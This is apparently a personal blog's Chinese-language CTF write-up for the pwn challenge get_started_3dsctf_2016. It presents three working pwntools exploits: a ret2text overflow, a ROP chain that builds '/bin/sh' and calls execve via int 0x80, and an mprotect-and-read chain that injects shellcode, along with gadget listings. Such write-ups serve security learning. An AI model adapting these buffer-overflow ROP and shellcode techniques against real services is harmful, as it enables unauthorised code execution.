f1r3K0's Blog

欲买桂花同载酒

Pwn_get_started_3dsctf_2016

最近就是飞来飞去打了一些比赛,基于 DBus 挖了一些有意思的本地提权,很久没 PWN 了!

1. 前言

拿到这道题以为是一道简单不能再简单的 ret2text,事实证明我年轻了…

2. 正常解法 ret2text

main 函数开头就是使用 esp 寻址,函数开头没有常规的 push ebp mov ebp esp 操作,说明这题是外平栈,外平栈一般使用 esp+x 辅助定位,内平栈则是 ebp-x 辅助定位

image-20241206110801157

因此这题算偏移时就是 0x38,无需 + 4

image-20241206112142717

另一个坑点是 fopen 函数打开 flag.txt 后需要标准输出,因此需要调用 fflush () 或者 exit ()

随后直接按照常规 ret2text 即可,劫持到 fopen 这里直接绕过判断

image-20241206114544864

照理说这里没有意外,可是出了一些玄学意外

所以我这里还是按出题者思路去构造 if 绕过打成了

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')
#p = process('./get_started_3dsctf_2016')
p = remote('node5.buuoj.cn',25129)

get_flag_addr = 0x080489A0
exit_addr = 0x804E6A0
payload = b'a' * 0x38+p32(get_flag_addr)+p32(exit_addr)+p32(814536271)+p32(425138641)
p.sendline(payload)
p.interactive()

3. 第二种解法 ret2syscall

利用 ROPgadget 寻找 system、/bin/sh 这些发现都没有,打 libc 太麻烦,用系统调用 + 可写地址自己写 bin/sh

先找 pop eax

1
2
3
4
5
6
0x0809e0fa : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080b91e6 : pop eax ; ret
0x0804c56d : pop eax ; ret 0x80e
0x080d9ff8 : pop eax ; ret 0xfff7
0x080dfcd8 : pop eax ; ret 0xfff9
0x0809e0f9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

0x080b91e6 : pop eax ; ret

再找 pop ebx

1
2
3
4
5
6
7
8
9
10
11
12
0x080481ad : pop ebx ; ret
0x080d413c : pop ebx ; ret 0x6f9
0x08099f96 : pop ebx ; ret 8
0x0806fc31 : pop ecx ; pop ebx ; ret
0x08063adb : pop edi ; pop esi ; pop ebx ; ret
0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret
0x0809e0f9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0807b1b0 : pop es ; pop ebx ; ret
0x0806fc08 : pop esi ; pop ebx ; pop edx ; ret
0x0805d090 : pop esi ; pop ebx ; ret
0x0805b8a0 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0809efe2 : pop ss ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret

找可写地址,借一下别人的图

image-20241206123613968

/sh/x00 需要写在它的后四位。即”0x080eb020+4“,最后需要填入 int 0x80:

1
0x0806d7e5 : int 0x80

最后 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

local = 1
if local == 1:
io = process('./get_started_3dsctf_2016')
else:
io = remote('node4.buuoj.cn',29252)

pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int80 = 0x0806d7e5
mov_edx_eax_ret = 0x080557ab
payload = 'a'*56+p32(pop_eax_ret)+'/bin'+p32(pop_edx_ecx_ebx_ret)+p32(0x080eb020)+p32(0)+p32(0)+p32(mov_edx_eax_ret)
payload += p32(pop_eax_ret)+'/sh\x00'+p32(pop_edx_ecx_ebx_ret)+p32(0x080eb020+4)+p32(0)+p32(0)+p32(mov_edx_eax_ret)
payload += p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(0x080eb020)+p32(int80)
io.sendline(payload)

io.interactive()

4. 第三种解法

执行完 mprotect 函数后返回 read 函数,从输入端读取 mprotect_len 长度的内容放入到 mprotect_addr。最后传入 shellcode 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

elf = ELF('./get_started_3dsctf_2016')

local = 0
if local == 1:
io = process('./get_started_3dsctf_2016')
else:
io = remote('node4.buuoj.cn',26854)

mprotect_addr = 0x806EC80
mprotect_start = 0x080ea000
mprotect_len = 0x64
mprotect_proc = 0x7

pop_edx_ecx_ebx = 0x0806fc30

read_addr = elf.symbols['read']

shellcode = asm(shellcraft.i386.linux.sh())

payload = 'a'*0x38+p32(mprotect_addr)+p32(pop_edx_ecx_ebx)+p32(mprotect_start)+p32(mprotect_len)+p32(mprotect_proc)
payload += p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(mprotect_start)+p32(mprotect_len)+p32(mprotect_start)

io.sendline(payload)
io.sendline(shellcode)
io.interactive()

二进制太难了~


© 2025 K